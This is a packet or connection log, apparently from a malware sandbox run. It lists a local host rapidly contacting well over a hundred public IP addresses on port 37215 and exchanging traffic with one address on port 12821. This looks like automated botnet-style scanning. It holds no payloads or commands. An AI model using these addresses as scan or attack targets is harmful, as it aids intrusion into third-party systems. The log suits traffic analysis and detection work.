Jan 1, 2024 12:51:58.026561975 CET	37751	37215	192.168.2.13	138.210.85.25
Jan 1, 2024 12:51:58.026561975 CET	37751	37215	192.168.2.13	41.62.124.106
Jan 1, 2024 12:51:58.026570082 CET	37751	37215	192.168.2.13	156.196.218.110
Jan 1, 2024 12:51:58.026571989 CET	37751	37215	192.168.2.13	197.124.17.28
Jan 1, 2024 12:51:58.026571989 CET	37751	37215	192.168.2.13	156.169.151.177
Jan 1, 2024 12:51:58.026576996 CET	37751	37215	192.168.2.13	197.105.57.46
Jan 1, 2024 12:51:58.026576996 CET	37751	37215	192.168.2.13	197.105.109.207
Jan 1, 2024 12:51:58.026576996 CET	37751	37215	192.168.2.13	41.211.141.57
Jan 1, 2024 12:51:58.026578903 CET	37751	37215	192.168.2.13	107.68.87.28
Jan 1, 2024 12:51:58.026580095 CET	37751	37215	192.168.2.13	197.119.104.127
Jan 1, 2024 12:51:58.026580095 CET	37751	37215	192.168.2.13	197.24.154.124
Jan 1, 2024 12:51:58.026592016 CET	37751	37215	192.168.2.13	197.103.239.129
Jan 1, 2024 12:51:58.026592970 CET	37751	37215	192.168.2.13	197.123.246.16
Jan 1, 2024 12:51:58.026598930 CET	37751	37215	192.168.2.13	156.211.232.140
Jan 1, 2024 12:51:58.026602030 CET	37751	37215	192.168.2.13	122.121.184.195
Jan 1, 2024 12:51:58.026607037 CET	37751	37215	192.168.2.13	107.184.44.157
Jan 1, 2024 12:51:58.026607037 CET	37751	37215	192.168.2.13	181.74.201.75
Jan 1, 2024 12:51:58.026607037 CET	37751	37215	192.168.2.13	197.215.81.113
Jan 1, 2024 12:51:58.026612043 CET	37751	37215	192.168.2.13	94.171.99.56
Jan 1, 2024 12:51:58.026612043 CET	37751	37215	192.168.2.13	102.214.213.150
Jan 1, 2024 12:51:58.026623011 CET	37751	37215	192.168.2.13	41.190.186.58
Jan 1, 2024 12:51:58.026635885 CET	37751	37215	192.168.2.13	41.67.232.224
Jan 1, 2024 12:51:58.026635885 CET	37751	37215	192.168.2.13	41.11.31.126
Jan 1, 2024 12:51:58.026635885 CET	37751	37215	192.168.2.13	197.148.42.103
Jan 1, 2024 12:51:58.026637077 CET	37751	37215	192.168.2.13	156.115.162.237
Jan 1, 2024 12:51:58.026637077 CET	37751	37215	192.168.2.13	156.3.120.104
Jan 1, 2024 12:51:58.026638985 CET	37751	37215	192.168.2.13	41.212.203.210
Jan 1, 2024 12:51:58.026638985 CET	37751	37215	192.168.2.13	156.5.70.192
Jan 1, 2024 12:51:58.026642084 CET	37751	37215	192.168.2.13	41.198.14.212
Jan 1, 2024 12:51:58.026648045 CET	37751	37215	192.168.2.13	197.99.159.9
Jan 1, 2024 12:51:58.026649952 CET	37751	37215	192.168.2.13	41.116.134.221
Jan 1, 2024 12:51:58.026659012 CET	37751	37215	192.168.2.13	95.96.4.140
Jan 1, 2024 12:51:58.026664972 CET	37751	37215	192.168.2.13	196.184.30.238
Jan 1, 2024 12:51:58.026664972 CET	37751	37215	192.168.2.13	95.209.93.118
Jan 1, 2024 12:51:58.026664972 CET	37751	37215	192.168.2.13	156.104.47.99
Jan 1, 2024 12:51:58.026668072 CET	37751	37215	192.168.2.13	197.83.102.16
Jan 1, 2024 12:51:58.026671886 CET	37751	37215	192.168.2.13	41.255.70.218
Jan 1, 2024 12:51:58.026673079 CET	37751	37215	192.168.2.13	197.161.5.143
Jan 1, 2024 12:51:58.026673079 CET	37751	37215	192.168.2.13	156.181.189.108
Jan 1, 2024 12:51:58.026679039 CET	37751	37215	192.168.2.13	197.200.192.78
Jan 1, 2024 12:51:58.026679993 CET	37751	37215	192.168.2.13	197.59.186.147
Jan 1, 2024 12:51:58.026686907 CET	37751	37215	192.168.2.13	197.167.88.102
Jan 1, 2024 12:51:58.026690960 CET	37751	37215	192.168.2.13	41.27.248.18
Jan 1, 2024 12:51:58.026690960 CET	37751	37215	192.168.2.13	156.71.70.248
Jan 1, 2024 12:51:58.026696920 CET	37751	37215	192.168.2.13	41.232.181.248
Jan 1, 2024 12:51:58.026701927 CET	37751	37215	192.168.2.13	197.174.245.62
Jan 1, 2024 12:51:58.026711941 CET	37751	37215	192.168.2.13	138.157.180.73
Jan 1, 2024 12:51:58.026711941 CET	37751	37215	192.168.2.13	121.8.13.89
Jan 1, 2024 12:51:58.026715994 CET	37751	37215	192.168.2.13	94.7.230.42
Jan 1, 2024 12:51:58.026719093 CET	37751	37215	192.168.2.13	121.37.234.49
Jan 1, 2024 12:51:58.026719093 CET	37751	37215	192.168.2.13	41.90.135.95
Jan 1, 2024 12:51:58.026721954 CET	37751	37215	192.168.2.13	156.34.61.66
Jan 1, 2024 12:51:58.026725054 CET	37751	37215	192.168.2.13	156.45.16.18
Jan 1, 2024 12:51:58.026725054 CET	37751	37215	192.168.2.13	197.89.129.143
Jan 1, 2024 12:51:58.026726007 CET	37751	37215	192.168.2.13	156.226.125.217
Jan 1, 2024 12:51:58.026736021 CET	37751	37215	192.168.2.13	156.38.46.48
Jan 1, 2024 12:51:58.026742935 CET	37751	37215	192.168.2.13	197.108.145.141
Jan 1, 2024 12:51:58.026743889 CET	37751	37215	192.168.2.13	37.227.94.157
Jan 1, 2024 12:51:58.026746988 CET	37751	37215	192.168.2.13	41.99.200.210
Jan 1, 2024 12:51:58.026762962 CET	37751	37215	192.168.2.13	102.155.94.175
Jan 1, 2024 12:51:58.026774883 CET	37751	37215	192.168.2.13	41.240.83.176
Jan 1, 2024 12:51:58.026777983 CET	37751	37215	192.168.2.13	156.34.252.226
Jan 1, 2024 12:51:58.026782990 CET	37751	37215	192.168.2.13	156.133.36.64
Jan 1, 2024 12:51:58.026782990 CET	37751	37215	192.168.2.13	156.218.122.9
Jan 1, 2024 12:51:58.026786089 CET	37751	37215	192.168.2.13	156.208.253.198
Jan 1, 2024 12:51:58.026786089 CET	37751	37215	192.168.2.13	222.5.232.198
Jan 1, 2024 12:51:58.026789904 CET	37751	37215	192.168.2.13	156.80.165.38
Jan 1, 2024 12:51:58.026793003 CET	37751	37215	192.168.2.13	41.152.85.169
Jan 1, 2024 12:51:58.026803970 CET	37751	37215	192.168.2.13	156.30.219.75
Jan 1, 2024 12:51:58.026804924 CET	37751	37215	192.168.2.13	37.229.60.180
Jan 1, 2024 12:51:58.026807070 CET	37751	37215	192.168.2.13	122.250.164.216
Jan 1, 2024 12:51:58.026808023 CET	37751	37215	192.168.2.13	156.73.211.41
Jan 1, 2024 12:51:58.026807070 CET	37751	37215	192.168.2.13	41.52.150.235
Jan 1, 2024 12:51:58.026813984 CET	37751	37215	192.168.2.13	186.100.37.141
Jan 1, 2024 12:51:58.026820898 CET	37751	37215	192.168.2.13	197.102.32.170
Jan 1, 2024 12:51:58.026838064 CET	37751	37215	192.168.2.13	197.240.198.59
Jan 1, 2024 12:51:58.026838064 CET	37751	37215	192.168.2.13	120.136.233.114
Jan 1, 2024 12:51:58.026838064 CET	37751	37215	192.168.2.13	222.77.66.26
Jan 1, 2024 12:51:58.026846886 CET	37751	37215	192.168.2.13	156.129.150.142
Jan 1, 2024 12:51:58.026859999 CET	37751	37215	192.168.2.13	95.157.162.65
Jan 1, 2024 12:51:58.026859999 CET	37751	37215	192.168.2.13	156.40.152.111
Jan 1, 2024 12:51:58.026861906 CET	37751	37215	192.168.2.13	95.31.129.204
Jan 1, 2024 12:51:58.026869059 CET	37751	37215	192.168.2.13	156.159.40.229
Jan 1, 2024 12:51:58.026875019 CET	37751	37215	192.168.2.13	122.29.76.253
Jan 1, 2024 12:51:58.026881933 CET	37751	37215	192.168.2.13	197.227.159.206
Jan 1, 2024 12:51:58.026881933 CET	37751	37215	192.168.2.13	197.200.101.23
Jan 1, 2024 12:51:58.026886940 CET	37751	37215	192.168.2.13	41.163.208.190
Jan 1, 2024 12:51:58.026886940 CET	37751	37215	192.168.2.13	102.6.121.154
Jan 1, 2024 12:51:58.026886940 CET	37751	37215	192.168.2.13	197.60.92.196
Jan 1, 2024 12:51:58.026901960 CET	37751	37215	192.168.2.13	156.99.181.174
Jan 1, 2024 12:51:58.026905060 CET	37751	37215	192.168.2.13	197.202.22.15
Jan 1, 2024 12:51:58.026905060 CET	37751	37215	192.168.2.13	197.74.167.247
Jan 1, 2024 12:51:58.026906967 CET	37751	37215	192.168.2.13	41.234.136.101
Jan 1, 2024 12:51:58.026906967 CET	37751	37215	192.168.2.13	156.62.143.224
Jan 1, 2024 12:51:58.026906967 CET	37751	37215	192.168.2.13	157.137.209.184
Jan 1, 2024 12:51:58.026909113 CET	37751	37215	192.168.2.13	92.154.12.219
Jan 1, 2024 12:51:58.026915073 CET	37751	37215	192.168.2.13	121.255.79.49
Jan 1, 2024 12:51:58.026918888 CET	37751	37215	192.168.2.13	107.202.195.201
Jan 1, 2024 12:51:58.026918888 CET	37751	37215	192.168.2.13	41.101.111.10
Jan 1, 2024 12:51:58.026925087 CET	37751	37215	192.168.2.13	156.209.252.75
Jan 1, 2024 12:51:58.026933908 CET	37751	37215	192.168.2.13	156.171.228.153
Jan 1, 2024 12:51:58.026935101 CET	37751	37215	192.168.2.13	197.129.252.195
Jan 1, 2024 12:51:58.026941061 CET	37751	37215	192.168.2.13	197.37.101.126
Jan 1, 2024 12:51:58.026943922 CET	37751	37215	192.168.2.13	41.33.18.173
Jan 1, 2024 12:51:58.026958942 CET	37751	37215	192.168.2.13	156.136.34.165
Jan 1, 2024 12:51:58.026958942 CET	37751	37215	192.168.2.13	41.206.77.123
Jan 1, 2024 12:51:58.026958942 CET	37751	37215	192.168.2.13	156.117.95.150
Jan 1, 2024 12:51:58.026968002 CET	37751	37215	192.168.2.13	160.144.175.108
Jan 1, 2024 12:51:58.026969910 CET	37751	37215	192.168.2.13	41.207.175.183
Jan 1, 2024 12:51:58.026972055 CET	37751	37215	192.168.2.13	156.15.10.244
Jan 1, 2024 12:51:58.026985884 CET	37751	37215	192.168.2.13	181.49.70.115
Jan 1, 2024 12:51:58.026985884 CET	37751	37215	192.168.2.13	156.6.4.177
Jan 1, 2024 12:51:58.026987076 CET	37751	37215	192.168.2.13	181.240.2.140
Jan 1, 2024 12:51:58.026985884 CET	37751	37215	192.168.2.13	41.104.160.31
Jan 1, 2024 12:51:58.026988029 CET	37751	37215	192.168.2.13	95.64.141.33
Jan 1, 2024 12:51:58.026988029 CET	37751	37215	192.168.2.13	41.226.93.162
Jan 1, 2024 12:51:58.026989937 CET	37751	37215	192.168.2.13	197.221.196.129
Jan 1, 2024 12:51:58.026989937 CET	37751	37215	192.168.2.13	156.16.83.251
Jan 1, 2024 12:51:58.026990891 CET	37751	37215	192.168.2.13	156.163.92.16
Jan 1, 2024 12:51:58.027095079 CET	44342	37215	192.168.2.13	156.73.181.91
Jan 1, 2024 12:51:58.166497946 CET	37215	37751	107.173.170.35	192.168.2.13
Jan 1, 2024 12:51:58.203263998 CET	12821	51332	89.190.156.5	192.168.2.13
Jan 1, 2024 12:51:58.203336954 CET	51332	12821	192.168.2.13	89.190.156.5
Jan 1, 2024 12:51:58.203361988 CET	51332	12821	192.168.2.13	89.190.156.5
Jan 1, 2024 12:51:58.329216957 CET	37215	37751	95.8.246.174	192.168.2.13
Jan 1, 2024 12:51:58.332771063 CET	37215	37751	197.6.158.43	192.168.2.13
Jan 1, 2024 12:51:58.334984064 CET	37215	37751	156.241.111.198	192.168.2.13
Jan 1, 2024 12:51:58.335042000 CET	37751	37215	192.168.2.13	156.241.111.198
Jan 1, 2024 12:51:58.350713968 CET	37215	37751	102.30.94.55	192.168.2.13
Jan 1, 2024 12:51:58.350755930 CET	37751	37215	192.168.2.13	102.30.94.55
Jan 1, 2024 12:51:58.351155996 CET	37215	37751	102.30.94.55	192.168.2.13
Jan 1, 2024 12:51:58.354182959 CET	37215	37751	154.91.179.182	192.168.2.13
Jan 1, 2024 12:51:58.354226112 CET	37751	37215	192.168.2.13	154.91.179.182
Jan 1, 2024 12:51:58.364689112 CET	37215	37751	197.5.58.112	192.168.2.13
Jan 1, 2024 12:51:58.373285055 CET	37215	37751	197.8.149.215	192.168.2.13
Jan 1, 2024 12:51:58.373325109 CET	37751	37215	192.168.2.13	197.8.149.215
Jan 1, 2024 12:51:58.373502970 CET	37215	37751	197.8.149.215	192.168.2.13
Jan 1, 2024 12:51:58.446265936 CET	12821	51332	89.190.156.5	192.168.2.13
Jan 1, 2024 12:51:58.446310997 CET	51332	12821	192.168.2.13	89.190.156.5
Jan 1, 2024 12:51:58.477458954 CET	37215	37751	197.149.21.52	192.168.2.13
Jan 1, 2024 12:51:58.689600945 CET	12821	51332	89.190.156.5	192.168.2.13
Jan 1, 2024 12:51:58.844932079 CET	37215	37751	95.205.143.68	192.168.2.13
Jan 1, 2024 12:51:59.028168917 CET	37751	37215	192.168.2.13	197.64.236.118
Jan 1, 2024 12:51:59.028170109 CET	37751	37215	192.168.2.13	107.81.76.155
Jan 1, 2024 12:51:59.028171062 CET	37751	37215	192.168.2.13	41.30.180.34
Jan 1, 2024 12:51:59.028175116 CET	37751	37215	192.168.2.13	156.54.178.242
Jan 1, 2024 12:51:59.028178930 CET	37751	37215	192.168.2.13	92.87.186.172
Jan 1, 2024 12:51:59.028179884 CET	37751	37215	192.168.2.13	94.26.78.33
Jan 1, 2024 12:51:59.028186083 CET	37751	37215	192.168.2.13	94.242.147.196
Jan 1, 2024 12:51:59.028186083 CET	37751	37215	192.168.2.13	197.74.102.80
Jan 1, 2024 12:51:59.028184891 CET	37751	37215	192.168.2.13	41.116.192.155
Jan 1, 2024 12:51:59.028188944 CET	37751	37215	192.168.2.13	41.223.172.230
Jan 1, 2024 12:51:59.028186083 CET	37751	37215	192.168.2.13	196.209.252.68
Jan 1, 2024 12:51:59.028196096 CET	37751	37215	192.168.2.13	122.103.165.26
Jan 1, 2024 12:51:59.028199911 CET	37751	37215	192.168.2.13	156.206.12.4
Jan 1, 2024 12:51:59.028199911 CET	37751	37215	192.168.2.13	156.228.189.128
Jan 1, 2024 12:51:59.028202057 CET	37751	37215	192.168.2.13	37.184.250.32
Jan 1, 2024 12:51:59.028203011 CET	37751	37215	192.168.2.13	107.117.39.67
Jan 1, 2024 12:51:59.028203011 CET	37751	37215	192.168.2.13	197.236.63.66
Jan 1, 2024 12:51:59.028209925 CET	37751	37215	192.168.2.13	156.192.237.112
Jan 1, 2024 12:51:59.028214931 CET	37751	37215	192.168.2.13	156.20.69.32
Jan 1, 2024 12:51:59.028217077 CET	37751	37215	192.168.2.13	156.65.252.241
Jan 1, 2024 12:51:59.028218031 CET	37751	37215	192.168.2.13	41.9.252.147
Jan 1, 2024 12:51:59.028218031 CET	37751	37215	192.168.2.13	197.125.105.92
Jan 1, 2024 12:51:59.028218031 CET	37751	37215	192.168.2.13	157.30.143.249
Jan 1, 2024 12:51:59.028218031 CET	37751	37215	192.168.2.13	197.200.60.242
Jan 1, 2024 12:51:59.028222084 CET	37751	37215	192.168.2.13	157.209.199.179
Jan 1, 2024 12:51:59.028222084 CET	37751	37215	192.168.2.13	197.136.247.138
Jan 1, 2024 12:51:59.028222084 CET	37751	37215	192.168.2.13	197.181.250.12
Jan 1, 2024 12:51:59.028225899 CET	37751	37215	192.168.2.13	45.43.131.25
Jan 1, 2024 12:51:59.028225899 CET	37751	37215	192.168.2.13	41.141.46.136
Jan 1, 2024 12:51:59.028225899 CET	37751	37215	192.168.2.13	41.190.36.179
Jan 1, 2024 12:51:59.028232098 CET	37751	37215	192.168.2.13	157.67.194.191
Jan 1, 2024 12:51:59.028232098 CET	37751	37215	192.168.2.13	222.210.207.54
Jan 1, 2024 12:51:59.028237104 CET	37751	37215	192.168.2.13	138.97.161.198
Jan 1, 2024 12:51:59.028237104 CET	37751	37215	192.168.2.13	95.191.39.137
Jan 1, 2024 12:51:59.028240919 CET	37751	37215	192.168.2.13	156.70.245.142
Jan 1, 2024 12:51:59.028244972 CET	37751	37215	192.168.2.13	190.101.163.209
Jan 1, 2024 12:51:59.028244972 CET	37751	37215	192.168.2.13	157.242.143.207
Jan 1, 2024 12:51:59.028244972 CET	37751	37215	192.168.2.13	197.23.144.157
Jan 1, 2024 12:51:59.028244972 CET	37751	37215	192.168.2.13	41.90.245.97
Jan 1, 2024 12:51:59.028250933 CET	37751	37215	192.168.2.13	197.183.200.181
Jan 1, 2024 12:51:59.028250933 CET	37751	37215	192.168.2.13	156.61.187.4
Jan 1, 2024 12:51:59.028250933 CET	37751	37215	192.168.2.13	197.183.125.249
Jan 1, 2024 12:51:59.028250933 CET	37751	37215	192.168.2.13	156.169.182.32
Jan 1, 2024 12:51:59.028251886 CET	37751	37215	192.168.2.13	197.40.175.107
Jan 1, 2024 12:51:59.028251886 CET	37751	37215	192.168.2.13	197.143.250.178
Jan 1, 2024 12:51:59.028251886 CET	37751	37215	192.168.2.13	190.199.207.198
Jan 1, 2024 12:51:59.028251886 CET	37751	37215	192.168.2.13	41.149.255.1
Jan 1, 2024 12:51:59.028251886 CET	37751	37215	192.168.2.13	41.74.91.191
Jan 1, 2024 12:51:59.028251886 CET	37751	37215	192.168.2.13	138.95.52.84
Jan 1, 2024 12:51:59.028259993 CET	37751	37215	192.168.2.13	197.254.45.88
Jan 1, 2024 12:51:59.028275967 CET	37751	37215	192.168.2.13	41.27.119.65
Jan 1, 2024 12:51:59.028275967 CET	37751	37215	192.168.2.13	41.175.152.114
Jan 1, 2024 12:51:59.028281927 CET	37751	37215	192.168.2.13	156.9.194.24
Jan 1, 2024 12:51:59.028286934 CET	37751	37215	192.168.2.13	197.122.176.27
Jan 1, 2024 12:51:59.028289080 CET	37751	37215	192.168.2.13	157.91.3.131
Jan 1, 2024 12:51:59.028286934 CET	37751	37215	192.168.2.13	156.133.200.215
Jan 1, 2024 12:51:59.028289080 CET	37751	37215	192.168.2.13	197.242.205.154
Jan 1, 2024 12:51:59.028286934 CET	37751	37215	192.168.2.13	197.52.248.86
Jan 1, 2024 12:51:59.028295994 CET	37751	37215	192.168.2.13	41.142.70.226
Jan 1, 2024 12:51:59.028295040 CET	37751	37215	192.168.2.13	138.237.162.96
Jan 1, 2024 12:51:59.028292894 CET	37751	37215	192.168.2.13	41.137.140.23
Jan 1, 2024 12:51:59.028295040 CET	37751	37215	192.168.2.13	41.66.116.109
Jan 1, 2024 12:51:59.028311014 CET	37751	37215	192.168.2.13	222.78.224.184
Jan 1, 2024 12:51:59.028311014 CET	37751	37215	192.168.2.13	94.231.178.133
Jan 1, 2024 12:51:59.028315067 CET	37751	37215	192.168.2.13	157.183.116.74
Jan 1, 2024 12:51:59.028321981 CET	37751	37215	192.168.2.13	121.152.31.121
Jan 1, 2024 12:51:59.028321981 CET	37751	37215	192.168.2.13	41.115.1.64
Jan 1, 2024 12:51:59.028321981 CET	37751	37215	192.168.2.13	156.74.42.230
Jan 1, 2024 12:51:59.028322935 CET	37751	37215	192.168.2.13	41.26.5.32
Jan 1, 2024 12:51:59.028322935 CET	37751	37215	192.168.2.13	197.4.0.111
Jan 1, 2024 12:51:59.028326035 CET	37751	37215	192.168.2.13	41.216.125.193
Jan 1, 2024 12:51:59.028326035 CET	37751	37215	192.168.2.13	41.35.206.20
Jan 1, 2024 12:51:59.028333902 CET	37751	37215	192.168.2.13	41.134.5.110
Jan 1, 2024 12:51:59.028336048 CET	37751	37215	192.168.2.13	121.124.165.2
Jan 1, 2024 12:51:59.028337002 CET	37751	37215	192.168.2.13	156.34.200.127
Jan 1, 2024 12:51:59.028342962 CET	37751	37215	192.168.2.13	37.79.81.249
Jan 1, 2024 12:51:59.028343916 CET	37751	37215	192.168.2.13	222.200.80.51
Jan 1, 2024 12:51:59.028345108 CET	37751	37215	192.168.2.13	197.44.199.172
Jan 1, 2024 12:51:59.028350115 CET	37751	37215	192.168.2.13	197.157.3.25
Jan 1, 2024 12:51:59.028359890 CET	37751	37215	192.168.2.13	122.218.90.36
Jan 1, 2024 12:51:59.028363943 CET	37751	37215	192.168.2.13	197.182.150.50
Jan 1, 2024 12:51:59.028367996 CET	37751	37215	192.168.2.13	156.137.239.85
Jan 1, 2024 12:51:59.028368950 CET	37751	37215	192.168.2.13	196.229.217.149
Jan 1, 2024 12:51:59.028368950 CET	37751	37215	192.168.2.13	41.12.21.66
Jan 1, 2024 12:51:59.028368950 CET	37751	37215	192.168.2.13	41.230.60.218
Jan 1, 2024 12:51:59.028369904 CET	37751	37215	192.168.2.13	190.86.123.25
Jan 1, 2024 12:51:59.028369904 CET	37751	37215	192.168.2.13	41.136.6.106
Jan 1, 2024 12:51:59.028378963 CET	37751	37215	192.168.2.13	160.84.68.176
Jan 1, 2024 12:51:59.028379917 CET	37751	37215	192.168.2.13	120.114.165.171
Jan 1, 2024 12:51:59.028388023 CET	37751	37215	192.168.2.13	156.223.128.89
Jan 1, 2024 12:51:59.028405905 CET	37751	37215	192.168.2.13	197.35.208.125
Jan 1, 2024 12:51:59.028407097 CET	37751	37215	192.168.2.13	197.120.248.58
Jan 1, 2024 12:51:59.028407097 CET	37751	37215	192.168.2.13	41.174.133.142
Jan 1, 2024 12:51:59.028407097 CET	37751	37215	192.168.2.13	41.114.56.143
Jan 1, 2024 12:51:59.028409004 CET	37751	37215	192.168.2.13	122.17.150.244
Jan 1, 2024 12:51:59.028414011 CET	37751	37215	192.168.2.13	197.249.187.103
Jan 1, 2024 12:51:59.028414011 CET	37751	37215	192.168.2.13	138.40.199.44
Jan 1, 2024 12:51:59.028423071 CET	37751	37215	192.168.2.13	41.235.93.251
Jan 1, 2024 12:51:59.028431892 CET	37751	37215	192.168.2.13	197.150.14.189
Jan 1, 2024 12:51:59.028431892 CET	37751	37215	192.168.2.13	222.48.109.6
Jan 1, 2024 12:51:59.028439999 CET	37751	37215	192.168.2.13	94.163.198.151
Jan 1, 2024 12:51:59.028439999 CET	37751	37215	192.168.2.13	197.106.206.91
Jan 1, 2024 12:51:59.028444052 CET	37751	37215	192.168.2.13	41.51.29.7
Jan 1, 2024 12:51:59.028445005 CET	37751	37215	192.168.2.13	41.59.100.66
Jan 1, 2024 12:51:59.028454065 CET	37751	37215	192.168.2.13	122.228.55.179
Jan 1, 2024 12:51:59.028460026 CET	37751	37215	192.168.2.13	41.21.213.134
Jan 1, 2024 12:51:59.028461933 CET	37751	37215	192.168.2.13	156.153.148.242
Jan 1, 2024 12:51:59.028462887 CET	37751	37215	192.168.2.13	138.180.146.1
Jan 1, 2024 12:51:59.028466940 CET	37751	37215	192.168.2.13	41.194.67.57
Jan 1, 2024 12:51:59.028470039 CET	37751	37215	192.168.2.13	197.230.193.47
Jan 1, 2024 12:51:59.028470039 CET	37751	37215	192.168.2.13	121.255.148.204
Jan 1, 2024 12:51:59.028471947 CET	37751	37215	192.168.2.13	196.135.133.164
Jan 1, 2024 12:51:59.028471947 CET	37751	37215	192.168.2.13	41.182.227.43
Jan 1, 2024 12:51:59.028471947 CET	37751	37215	192.168.2.13	120.158.16.169
Jan 1, 2024 12:51:59.028472900 CET	37751	37215	192.168.2.13	190.61.251.160
Jan 1, 2024 12:51:59.028481960 CET	37751	37215	192.168.2.13	41.10.12.196
Jan 1, 2024 12:51:59.028486013 CET	37751	37215	192.168.2.13	41.105.138.163
Jan 1, 2024 12:51:59.028486013 CET	37751	37215	192.168.2.13	41.40.5.76
Jan 1, 2024 12:51:59.028493881 CET	37751	37215	192.168.2.13	156.229.126.237
Jan 1, 2024 12:51:59.028496981 CET	37751	37215	192.168.2.13	157.2.111.130
Jan 1, 2024 12:51:59.028506041 CET	37751	37215	192.168.2.13	186.121.118.134
Jan 1, 2024 12:51:59.028506041 CET	37751	37215	192.168.2.13	121.66.10.171
Jan 1, 2024 12:51:59.028506994 CET	37751	37215	192.168.2.13	197.75.203.201
Jan 1, 2024 12:51:59.028506994 CET	37751	37215	192.168.2.13	197.45.41.22
Jan 1, 2024 12:51:59.028506994 CET	37751	37215	192.168.2.13	196.0.209.64
Jan 1, 2024 12:51:59.028508902 CET	37751	37215	192.168.2.13	197.201.178.23
Jan 1, 2024 12:51:59.028508902 CET	37751	37215	192.168.2.13	92.121.174.124
Jan 1, 2024 12:51:59.028522015 CET	37751	37215	192.168.2.13	41.69.216.0
Jan 1, 2024 12:51:59.028522968 CET	37751	37215	192.168.2.13	41.8.100.154
Jan 1, 2024 12:51:59.028522968 CET	37751	37215	192.168.2.13	197.159.187.126
Jan 1, 2024 12:51:59.028522968 CET	37751	37215	192.168.2.13	41.153.76.89
Jan 1, 2024 12:51:59.028522968 CET	37751	37215	192.168.2.13	41.191.90.248
Jan 1, 2024 12:51:59.028525114 CET	37751	37215	192.168.2.13	41.187.230.203
Jan 1, 2024 12:51:59.028526068 CET	37751	37215	192.168.2.13	197.110.140.163
Jan 1, 2024 12:51:59.028539896 CET	37751	37215	192.168.2.13	156.118.73.64
Jan 1, 2024 12:51:59.028546095 CET	37751	37215	192.168.2.13	121.143.243.53
Jan 1, 2024 12:51:59.028546095 CET	37751	37215	192.168.2.13	222.54.98.247
Jan 1, 2024 12:51:59.028546095 CET	37751	37215	192.168.2.13	197.57.165.204
Jan 1, 2024 12:51:59.028552055 CET	37751	37215	192.168.2.13	156.7.52.138
Jan 1, 2024 12:51:59.028553009 CET	37751	37215	192.168.2.13	122.214.60.220
Jan 1, 2024 12:51:59.028558016 CET	37751	37215	192.168.2.13	197.35.218.194
Jan 1, 2024 12:51:59.028559923 CET	37751	37215	192.168.2.13	94.125.241.105
Jan 1, 2024 12:51:59.028559923 CET	37751	37215	192.168.2.13	197.190.195.146
Jan 1, 2024 12:51:59.028562069 CET	37751	37215	192.168.2.13	41.183.208.178
Jan 1, 2024 12:51:59.028563976 CET	37751	37215	192.168.2.13	197.147.219.174
Jan 1, 2024 12:51:59.028565884 CET	37751	37215	192.168.2.13	156.88.219.94
Jan 1, 2024 12:51:59.028572083 CET	37751	37215	192.168.2.13	41.5.208.55
Jan 1, 2024 12:51:59.028573036 CET	37751	37215	192.168.2.13	197.132.194.199
Jan 1, 2024 12:51:59.028575897 CET	37751	37215	192.168.2.13	41.181.93.247
Jan 1, 2024 12:51:59.028577089 CET	37751	37215	192.168.2.13	156.169.222.110
Jan 1, 2024 12:51:59.028575897 CET	37751	37215	192.168.2.13	41.104.54.191
Jan 1, 2024 12:51:59.028578997 CET	37751	37215	192.168.2.13	41.38.27.88
Jan 1, 2024 12:51:59.028580904 CET	37751	37215	192.168.2.13	181.9.234.33
Jan 1, 2024 12:51:59.028587103 CET	37751	37215	192.168.2.13	102.47.69.81
Jan 1, 2024 12:51:59.028587103 CET	37751	37215	192.168.2.13	41.13.17.170
Jan 1, 2024 12:51:59.028587103 CET	37751	37215	192.168.2.13	102.198.206.226
Jan 1, 2024 12:51:59.028592110 CET	37751	37215	192.168.2.13	197.178.142.218
Jan 1, 2024 12:51:59.028593063 CET	37751	37215	192.168.2.13	197.15.246.42
Jan 1, 2024 12:51:59.028604984 CET	37751	37215	192.168.2.13	45.200.241.23
Jan 1, 2024 12:51:59.028604984 CET	37751	37215	192.168.2.13	41.69.151.249
Jan 1, 2024 12:51:59.028614044 CET	37751	37215	192.168.2.13	41.156.93.89
Jan 1, 2024 12:51:59.028616905 CET	37751	37215	192.168.2.13	197.214.198.251
Jan 1, 2024 12:51:59.028615952 CET	37751	37215	192.168.2.13	156.60.79.197
Jan 1, 2024 12:51:59.028616905 CET	37751	37215	192.168.2.13	41.87.29.103
Jan 1, 2024 12:51:59.028606892 CET	37751	37215	192.168.2.13	156.219.163.133
Jan 1, 2024 12:51:59.028614998 CET	37751	37215	192.168.2.13	37.86.147.203
Jan 1, 2024 12:51:59.028614998 CET	37751	37215	192.168.2.13	222.109.174.77
Jan 1, 2024 12:51:59.028626919 CET	37751	37215	192.168.2.13	94.145.90.143
Jan 1, 2024 12:51:59.028604984 CET	37751	37215	192.168.2.13	41.198.212.189
Jan 1, 2024 12:51:59.028634071 CET	37751	37215	192.168.2.13	156.79.162.96
Jan 1, 2024 12:51:59.028634071 CET	37751	37215	192.168.2.13	156.94.183.215
Jan 1, 2024 12:51:59.028634071 CET	37751	37215	192.168.2.13	94.8.86.220
Jan 1, 2024 12:51:59.028640985 CET	37751	37215	192.168.2.13	160.230.1.131
Jan 1, 2024 12:51:59.028640985 CET	37751	37215	192.168.2.13	121.206.140.221
Jan 1, 2024 12:51:59.028655052 CET	37751	37215	192.168.2.13	41.47.238.180
Jan 1, 2024 12:51:59.028655052 CET	37751	37215	192.168.2.13	156.98.223.28
Jan 1, 2024 12:51:59.028655052 CET	37751	37215	192.168.2.13	41.245.4.80
Jan 1, 2024 12:51:59.028656006 CET	37751	37215	192.168.2.13	156.137.57.81
Jan 1, 2024 12:51:59.028656006 CET	37751	37215	192.168.2.13	156.75.205.123
Jan 1, 2024 12:51:59.028656006 CET	37751	37215	192.168.2.13	156.108.58.20
Jan 1, 2024 12:51:59.028657913 CET	37751	37215	192.168.2.13	160.76.136.17
Jan 1, 2024 12:51:59.028657913 CET	37751	37215	192.168.2.13	197.226.254.101
Jan 1, 2024 12:51:59.028659105 CET	37751	37215	192.168.2.13	197.167.244.135
Jan 1, 2024 12:51:59.028659105 CET	37751	37215	192.168.2.13	156.9.91.242
Jan 1, 2024 12:51:59.028660059 CET	37751	37215	192.168.2.13	41.7.107.1
Jan 1, 2024 12:51:59.028659105 CET	37751	37215	192.168.2.13	41.61.168.148
Jan 1, 2024 12:51:59.028660059 CET	37751	37215	192.168.2.13	197.121.4.26
Jan 1, 2024 12:51:59.028656006 CET	37751	37215	192.168.2.13	156.78.35.61
Jan 1, 2024 12:51:59.028659105 CET	37751	37215	192.168.2.13	197.149.11.191
Jan 1, 2024 12:51:59.028660059 CET	37751	37215	192.168.2.13	160.176.233.38
Jan 1, 2024 12:51:59.028659105 CET	37751	37215	192.168.2.13	41.120.50.122
